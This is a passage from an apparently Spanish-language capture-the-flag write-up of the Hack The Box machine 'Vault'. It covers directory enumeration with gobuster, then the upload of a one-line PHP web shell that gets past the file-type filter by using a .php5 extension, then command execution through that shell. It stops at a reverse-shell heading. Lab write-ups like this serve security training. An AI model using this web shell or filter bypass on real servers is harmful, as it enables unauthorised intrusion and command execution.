</span></span></code></pre></div><p>Como podemos ver no pasa nada. De hecho si prestamos atención al botón, veremos que tampoco realiza alguna acción, por lo que marcare esto como <strong>trampa</strong> y continuare mi camino.</p>
<p>El siguiente archivo es <em>login.php</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http http://10.10.10.109/sparklays/login.php
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 16
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 15:39:32 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>access denied
</span></span></code></pre></div><p>Directo y sin mas nos da un &ldquo;access denied&rdquo;. Como no conocemos o tenemos indicios de algún argumento, marcare esto como <strong>sin información</strong> y continuaré a siguiente, que es design.</p>
<p>En design hacemos las pruebas habituales y vemos un resultado muy parecido a sparklays:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http http://10.10.10.109/sparklays/design
</span></span><span style="display:flex;"><span>HTTP/1.1 301 Moved Permanently
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 323
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Sat, 06 Apr 2019 15:41:56 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: http://10.10.10.109/sparklays/design/
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;301 Moved Permanently&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Moved Permanently&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;The document has moved &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.10.10.109/sparklays/design/&#34;</span>&gt;here&lt;/<span style="color:#f92672">a</span>&gt;.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.18 (Ubuntu) Server at 10.10.10.109 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http http://10.10.10.109/sparklays/design/
</span></span><span style="display:flex;"><span>HTTP/1.1 403 Forbidden
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 304
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Sat, 06 Apr 2019 15:42:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;403 Forbidden&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Forbidden&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;You don&#39;t have permission to access /sparklays/design/
</span></span><span style="display:flex;"><span>on this server.&lt;<span style="color:#f92672">br</span> /&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.18 (Ubuntu) Server at 10.10.10.109 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Usando <code>gobuster</code> sobre este directorio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ ~/tools/gobuster -t 20 -x html,php,txt -u http://10.10.10.109/sparklays/design/ -w ~/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.109/sparklays/design/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403
</span></span><span style="display:flex;"><span>[+] Extensions   : html,php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/03/05 01:01:25 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.html (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.php (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.html (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.php (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.html (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.php (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/design.html (Status: 200)
</span></span><span style="display:flex;"><span>/uploads (Status: 301)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/03/05 01:04:54 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span></code></pre></div><p><em>Las opciones se explican mas arriba</em></p>
<p>Como podemos ver, hemos encontrado un archivo y un directorio; <em>uploads</em> y <em>design.html</em>.</p>
<p>Comenzando ahora en su lugar por el directorio <em>uploads</em> y lanzando directamente un <code>gobuster</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ ~/tools/gobuster -t 20 -x html,php,txt -u http://10.10.10.109/sparklays/design/uploads/ -w ~/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.109/sparklays/design/uploads/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403
</span></span><span style="display:flex;"><span>[+] Extensions   : html,php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/03/05 01:05:40 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.html (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.php (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.html (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.php (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.html (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.php (Status: 403)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/03/05 01:09:27 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span></code></pre></div><p><em>Las opciones se explican mas arriba</em></p>
<p>No encontramos nada.</p>
<p>Ahora si, pasemos al archivo design.html con un <code>httpie</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http  http://10.10.10.109/sparklays/design/design.html
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 85
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 07:10:55 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;48-56ff4d0d6e180-gzip&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Sun, 01 Jul 2018 19:09:10 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;h1&gt; Design Settings &lt;/h1&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;
</span></span><span style="display:flex;"><span>&lt;a href=&#34;changelogo.php&#34;&gt;Change Logo&lt;/a&gt;
</span></span></code></pre></div><p>Tenemos una referencia a un archivo que no encontramos por gobuster, sigamos el rastro:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http  http://10.10.10.109/sparklays/design/changelogo.php
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 310
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 07:11:07 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">xmlns</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.w3.org/1999/xhtml&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Type&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span> /&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;Upload Your File&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">enctype</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;multipart/form-data&#34;</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span>&gt;Choose a file to upload:&lt;/<span style="color:#f92672">label</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> /&gt;&lt;<span style="color:#f92672">br</span> /&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;upload file&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> /&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Tenemos un form para subir archivos, lo cual hace sentido con la carpeta <em>uploads</em> que encontramos anteriormente.</p>
<h1 id="uploading-a-php-shell">uploading a php shell</h1>
<p>Subamos una pequeña shell de php:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ printf &#39;<span style="color:#75715e">&lt;?php system($_GET[&#34;cmd&#34;]); ?&gt;</span>&#39; &gt; miaushell.php
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http -v -f POST http://10.10.10.109/sparklays/design/changelogo.php file@miaushell.php submit=&#34;upload file&#34;
</span></span><span style="display:flex;"><span>POST /sparklays/design/changelogo.php HTTP/1.1
</span></span><span style="display:flex;"><span>Accept: */*
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Length: 277
</span></span><span style="display:flex;"><span>Content-Type: multipart/form-data; boundary=b57e22e967ea0a137a14f5ef7de530d7
</span></span><span style="display:flex;"><span>Host: 10.10.10.109
</span></span><span style="display:flex;"><span>User-Agent: HTTPie/0.9.8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--b57e22e967ea0a137a14f5ef7de530d7
</span></span><span style="display:flex;"><span>Content-Disposition: form-data; name=&#34;submit&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>upload file
</span></span><span style="display:flex;"><span>--b57e22e967ea0a137a14f5ef7de530d7
</span></span><span style="display:flex;"><span>Content-Disposition: form-data; name=&#34;file&#34;; filename=&#34;miaushell.php&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;?php system($_GET[&#34;cmd&#34;]); ?&gt;</span>
</span></span><span style="display:flex;"><span>--b57e22e967ea0a137a14f5ef7de530d7--
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 330
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 15:51:26 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sorry that file type is not allowed<span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">xmlns</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.w3.org/1999/xhtml&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Type&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span> /&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;Upload Your File&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">enctype</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;multipart/form-data&#34;</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span>&gt;Choose a file to upload:&lt;/<span style="color:#f92672">label</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> /&gt;&lt;<span style="color:#f92672">br</span> /&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;upload file&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> /&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Tendremos un mensaje de <strong>sorry that file type is not allowed</strong> ):</p>
<p>Probablemente se trate de algún filtro, por lo que revisando la <a href="https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf">mágica documentación</a>, podremos ver que hay otras extensiones para php, como php5:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ printf &#39;<span style="color:#75715e">&lt;?php system($_GET[&#34;cmd&#34;]); ?&gt;</span>&#39; &gt; dgdfgdfgdfgd.php5
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http -v -f POST http://10.10.10.109/sparklays/design/changelogo.php file@dgdfgdfgdfgd.php5 submit=&#34;upload file&#34;
</span></span><span style="display:flex;"><span>POST /sparklays/design/changelogo.php HTTP/1.1
</span></span><span style="display:flex;"><span>Accept: */*
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Length: 281
</span></span><span style="display:flex;"><span>Content-Type: multipart/form-data; boundary=8b2205f86044aa6650434c4bcb1c853b
</span></span><span style="display:flex;"><span>Host: 10.10.10.109
</span></span><span style="display:flex;"><span>User-Agent: HTTPie/0.9.8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--8b2205f86044aa6650434c4bcb1c853b
</span></span><span style="display:flex;"><span>Content-Disposition: form-data; name=&#34;submit&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>upload file
</span></span><span style="display:flex;"><span>--8b2205f86044aa6650434c4bcb1c853b
</span></span><span style="display:flex;"><span>Content-Disposition: form-data; name=&#34;file&#34;; filename=&#34;dgdfgdfgdfgd.php5&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;?php system($_GET[&#34;cmd&#34;]); ?&gt;</span>
</span></span><span style="display:flex;"><span>--8b2205f86044aa6650434c4bcb1c853b--
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 334
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sun, 17 Mar 2019 07:41:14 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The file was uploaded successfully&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;<span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">xmlns</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.w3.org/1999/xhtml&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Type&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span> /&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;Upload Your File&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">enctype</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;multipart/form-data&#34;</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span>&gt;Choose a file to upload:&lt;/<span style="color:#f92672">label</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;file&#34;</span> /&gt;&lt;<span style="color:#f92672">br</span> /&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;upload file&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> /&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Ahora que hemos podido subir nuestra shell, veamos si podemos ejecutar comandos sobre ella:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http &#34;http://10.10.10.109/sparklays/design/uploads/dgdfgdfgdfgd.php5?cmd=uname&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 6
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sun, 17 Mar 2019 07:41:31 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Linux
</span></span></code></pre></div><p>Excelente, ahora que podemos ejecutar comandos sobre el servidor, podemos llamar a una reverse shell para trabajar más a gusto:</p>
<h1 id="get-a-reverse-shell-as-www-data">Get a reverse shell as www-data</h1>
